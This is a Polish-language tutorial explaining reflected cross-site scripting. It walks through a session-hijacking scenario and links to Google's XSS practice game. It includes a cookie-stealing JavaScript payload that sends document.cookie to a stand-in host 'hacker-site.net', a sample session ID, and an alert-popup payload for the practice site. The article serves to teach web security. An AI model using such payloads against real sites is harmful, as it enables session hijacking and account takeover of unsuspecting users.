Co to jest skrypt między witrynami?
Cross-Site Scripting (XSS) to jedna z najpopularniejszych obecnie technik ataków, nazywana ojcem chrzestnym ataku i od wielu lat uznawana za najniebezpieczniejszą technikę ataku na aplikacje.
Nie nazywaj tego w skrócie CSS, aby uniknąć pomyłki z koncepcją Cascading Style Sheet HTML.Technika
XSS
opiera się na wstawianiu niebezpiecznych skryptów do kodu źródłowego aplikacji internetowej. Aby wykonać złośliwy kod JavaScript w celu przejęcia sesji logowania użytkownika.
Aby lepiej zrozumieć, rozważmy następujący przykład. Aplikacja internetowa umożliwiająca wydruk wartości, którą przekazujemy poprzez adres URL, przy założeniu, że w zmiennej name przekażemy wartość Ping:

Na razie wszystko jest w porządku, przejrzyjmy kod źródłowy HTML:
![Web7: Exploity XSS – Część 1: Odzwierciedlenie XSS Web7: Exploity XSS – Część 1: Odzwierciedlenie XSS]()
Łatwo zauważyć, że wprowadzona przez nas wartość nazwy została wstawiona do kodu źródłowego. Możliwe jest więc, że wszystko, co jest importowane, można również wstawić. Problem staje się poważny, jeśli wprowadzona wartość nie jest zwykłym ciągiem znaków, jak powyżej, ale potencjalnie niebezpiecznym fragmentem kodu, na przykład takim:
Spróbuj ponownie z powyższą wartością:
![Web7: Exploity XSS – Część 1: Odzwierciedlenie XSS Web7: Exploity XSS – Część 1: Odzwierciedlenie XSS]()
Z tego przykładu możemy wyciągnąć dwie rzeczy. Po pierwsze, zmienna name może otrzymać dowolną wartość wejściową i przesłać ją do serwera w celu przetworzenia. Po drugie, serwer nie kontrolował tej wartości wejściowej przed zwróceniem jej do przeglądarki. Prowadzi to do wstawienia kodu JavaScript do kodu źródłowego.
XSS jest ogólnie podzielony na 3 główne typy: odbity, przechowywany i oparty na DOM. W tym artykule wspomnę głównie o technice Reflected XSS.
Aż 75% technik XSS opiera się na Reflected XSS. Nazywa się to odbiciem, ponieważ w tego typu scenariuszu exploita haker musi wysłać ofierze adres URL zawierający złośliwy kod (zwykle JavaScript). Ofiara musi jedynie poprosić o ten adres URL, a haker natychmiast otrzyma odpowiedź zawierającą pożądany wynik (tutaj pokazano zwrotność). Ponadto jest również znany jako XSS pierwszego rzędu.
Scenariusz wydobywczy z życia wzięty
Istnieje wiele sposobów wykorzystania błędu Reflected XSS, jednym z najbardziej znanych jest przejęcie sesji użytkownika, a tym samym uzyskanie dostępu do danych i uzyskanie jego praw w serwisie.
Szczegóły opisano w następujących krokach:
![Web7: Exploity XSS – Część 1: Odzwierciedlenie XSS Web7: Exploity XSS – Część 1: Odzwierciedlenie XSS]()
1. Użytkownik loguje się do sieci i zakłada, że ma przypisaną sesję:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. W jakiś sposób haker wysyła użytkownikowi adres URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Załóżmy, że example.com to witryna odwiedzana przez ofiarę, hacker-site.net to witryna utworzona przez hakera
3. Ofiara uzyskuje dostęp do powyższego adresu URL
4. Serwer odpowiada ofierze wraz z danymi zawartymi w żądaniu (fragment JavaScript hakera)
5. Przeglądarka ofiary otrzymuje odpowiedź i wykonuje JavaScript
6. Rzeczywisty kod JavaScript utworzony przez hakera jest następujący:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Powyższy wiersz poleceń zasadniczo wysyła żądanie do witryny hakera z parametrem będącym plikiem cookie użytkownika:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Z Twojej witryny haker przechwyci powyższą treść żądania i uzna sesję użytkownika za przejętą. W tym momencie haker może podszyć się pod ofiarę i skorzystać ze wszystkich praw na stronie internetowej, które posiada ofiara.
Ćwiczyć
Firma Google utworzyła tutaj stronę do ćwiczenia wykorzystania błędów XSS: https://xss-game.appspot.com
Celem tych wyzwań jest wstrzyknięcie skryptów powodujących wyświetlenie wyskakującego okienka. Pierwszym wyzwaniem jest zilustrowanie odbitej techniki, kod eksploatacji jest dość prosty:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Powodzenia!